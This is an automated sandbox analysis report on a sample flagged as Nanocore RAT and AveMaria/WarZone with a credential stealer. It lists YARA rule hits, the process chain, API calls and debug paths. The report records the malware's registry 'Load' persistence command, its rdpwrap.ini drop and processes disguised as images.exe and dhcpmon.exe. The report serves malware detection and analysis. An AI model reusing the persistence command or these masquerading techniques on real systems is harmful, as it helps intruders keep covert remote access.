Source: 40.2.KetqqsbuJ.exe.2d270d0.5.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 40.2.KetqqsbuJ.exe.2d270d0.5.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 40.2.KetqqsbuJ.exe.2d270d0.5.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 40.2.KetqqsbuJ.exe.3e7fc2f.13.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 40.2.KetqqsbuJ.exe.3e88e65.12.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000028.00000002.483249527.0000000006C70000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.483249527.0000000006C70000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.483194992.0000000006C40000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.483194992.0000000006C40000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.483125552.0000000006C10000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.483125552.0000000006C10000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.482686729.00000000060A0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.482686729.00000000060A0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.482161790.0000000005280000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.482161790.0000000005280000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.483106332.0000000006C00000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.483106332.0000000006C00000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.483164345.0000000006C30000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.483164345.0000000006C30000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000028.00000002.483052985.0000000006AB0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.483052985.0000000006AB0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.483212056.0000000006C50000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.483212056.0000000006C50000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.480758507.0000000003F8D000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000028.00000002.482070499.0000000005160000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.482070499.0000000005160000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.477157085.0000000002D0B000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000028.00000002.483147601.0000000006C20000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.483147601.0000000006C20000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.483312618.0000000006CC0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.483312618.0000000006CC0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.483262615.0000000006C80000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.483262615.0000000006C80000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000028.00000002.482137152.0000000005260000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.482137152.0000000005260000.00000004.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000016.00000002.472129392.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000016.00000002.472129392.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000028.00000002.472289227.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000028.00000002.472289227.0000000000402000.00000040.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000028.00000002.480292301.0000000003E77000.00000004.00000001.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: KetqqsbuJ.exe PID: 5916, type: MEMORYSTR Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: KetqqsbuJ.exe PID: 5916, type: MEMORYSTR Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Xjf4yH9N2t.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: images.exe.7.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: microC[1].exe.22.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: KetqqsbuJ.exe.22.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: dhcpmon.exe.40.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: classification engine Classification label: mal100.phis.troj.spyw.evad.winEXE@27/18@11/2
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00410B38 OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges, 7_2_00410B38
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0041405F RegSetValueExA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, 7_2_0041405F
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_004148B6 CoInitialize,CoCreateInstance,VariantInit,CoUninitialize, 7_2_004148B6
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00415169 LoadResource,SizeofResource,LockResource,GetTempPathA,GetTempPathA,lstrcatA,lstrcatA,GetTempPathA,lstrcatA,CreateFileA,WriteFile,CloseHandle,wsprintfA,ShellExecuteExA, 7_2_00415169
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040D33C OpenSCManagerW,OpenServiceW,CloseServiceHandle,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle, 7_2_0040D33C
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe File created: C:\Program Files\Microsoft DN1 Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Xjf4yH9N2t.exe.log Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\{6a1c2465-7ac5-4f1d-acc5-ef04fcf454c9}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5524:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5380:120:WilError_01
Source: Xjf4yH9N2t.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\ProgramData\images.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\ProgramData\images.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\ProgramData\images.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\ProgramData\images.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\ProgramData\images.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: images.exe, 00000016.00000002.481576820.000000000446C000.00000004.00000001.sdmp Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: images.exe, 00000016.00000002.481576820.000000000446C000.00000004.00000001.sdmp Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: images.exe, 00000016.00000002.481576820.000000000446C000.00000004.00000001.sdmp Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: images.exe, 00000016.00000002.481576820.000000000446C000.00000004.00000001.sdmp Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: images.exe, 00000016.00000002.481576820.000000000446C000.00000004.00000001.sdmp Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: images.exe, 00000016.00000002.481576820.000000000446C000.00000004.00000001.sdmp Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: images.exe, 00000016.00000002.481576820.000000000446C000.00000004.00000001.sdmp Binary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe File read: C:\Users\user\Desktop\Xjf4yH9N2t.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Xjf4yH9N2t.exe 'C:\Users\user\Desktop\Xjf4yH9N2t.exe'
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\Users\user\Desktop\Xjf4yH9N2t.exe C:\Users\user\Desktop\Xjf4yH9N2t.exe
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\Users\user\Desktop\Xjf4yH9N2t.exe C:\Users\user\Desktop\Xjf4yH9N2t.exe
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\Users\user\Desktop\Xjf4yH9N2t.exe C:\Users\user\Desktop\Xjf4yH9N2t.exe
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe'
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\ProgramData\images.exe C:\ProgramData\images.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe'
Source: C:\ProgramData\images.exe Process created: C:\ProgramData\images.exe C:\ProgramData\images.exe
Source: C:\ProgramData\images.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\images.exe Process created: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe 'C:\Users\user\AppData\Roaming\KetqqsbuJ.exe'
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process created: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe C:\Users\user\AppData\Roaming\KetqqsbuJ.exe
Source: unknown Process created: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe'
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\Users\user\Desktop\Xjf4yH9N2t.exe C:\Users\user\Desktop\Xjf4yH9N2t.exe Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\Users\user\Desktop\Xjf4yH9N2t.exe C:\Users\user\Desktop\Xjf4yH9N2t.exe Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\Users\user\Desktop\Xjf4yH9N2t.exe C:\Users\user\Desktop\Xjf4yH9N2t.exe Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe' Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Process created: C:\ProgramData\images.exe C:\ProgramData\images.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\images.exe' Jump to behavior
Source: C:\ProgramData\images.exe Process created: C:\ProgramData\images.exe C:\ProgramData\images.exe Jump to behavior
Source: C:\ProgramData\images.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe Jump to behavior
Source: C:\ProgramData\images.exe Process created: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe 'C:\Users\user\AppData\Roaming\KetqqsbuJ.exe' Jump to behavior
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Process created: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{62BE5D10-60EB-11d0-BD3B-00A0C911CE86}\InprocServer32 Jump to behavior
Source: C:\ProgramData\images.exe File written: C:\Program Files\Microsoft DN1\rdpwrap.ini Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Directory created: C:\Program Files\Microsoft DN1 Jump to behavior
Source: C:\ProgramData\images.exe Directory created: C:\Program Files\Microsoft DN1\sqlmap.dll Jump to behavior
Source: C:\ProgramData\images.exe Directory created: C:\Program Files\Microsoft DN1\rdpwrap.ini Jump to behavior
Source: Xjf4yH9N2t.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: Xjf4yH9N2t.exe Static PE information: Virtual size of .text is bigger than: 0x100000
Source: Xjf4yH9N2t.exe Static file information: File size 1309184 > 1048576
Source: Xjf4yH9N2t.exe Static PE information: Raw size of .text is bigger than: 0x100000 < 0x131e00
Source: Xjf4yH9N2t.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: Xjf4yH9N2t.exe, 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, images.exe, 00000016.00000003.295362829.0000000000E39000.00000004.00000001.sdmp
Source: Binary string: >+D C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: Xjf4yH9N2t.exe, 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, images.exe, 00000016.00000003.295362829.0000000000E39000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\MyNanoCore RemoteScripting\MyClientPlugin\obj\Debug\MyClientPluginNew.pdb source: KetqqsbuJ.exe, 00000028.00000002.483106332.0000000006C00000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: images.exe, 00000016.00000002.481576820.000000000446C000.00000004.00000001.sdmp
Source: Binary string: RfxVmt.pdb source: images.exe, 00000016.00000003.313698047.00000000049CB000.00000004.00000001.sdmp
Source: Binary string: RfxVmt.pdbGCTL source: images.exe, 00000016.00000003.313698047.00000000049CB000.00000004.00000001.sdmp
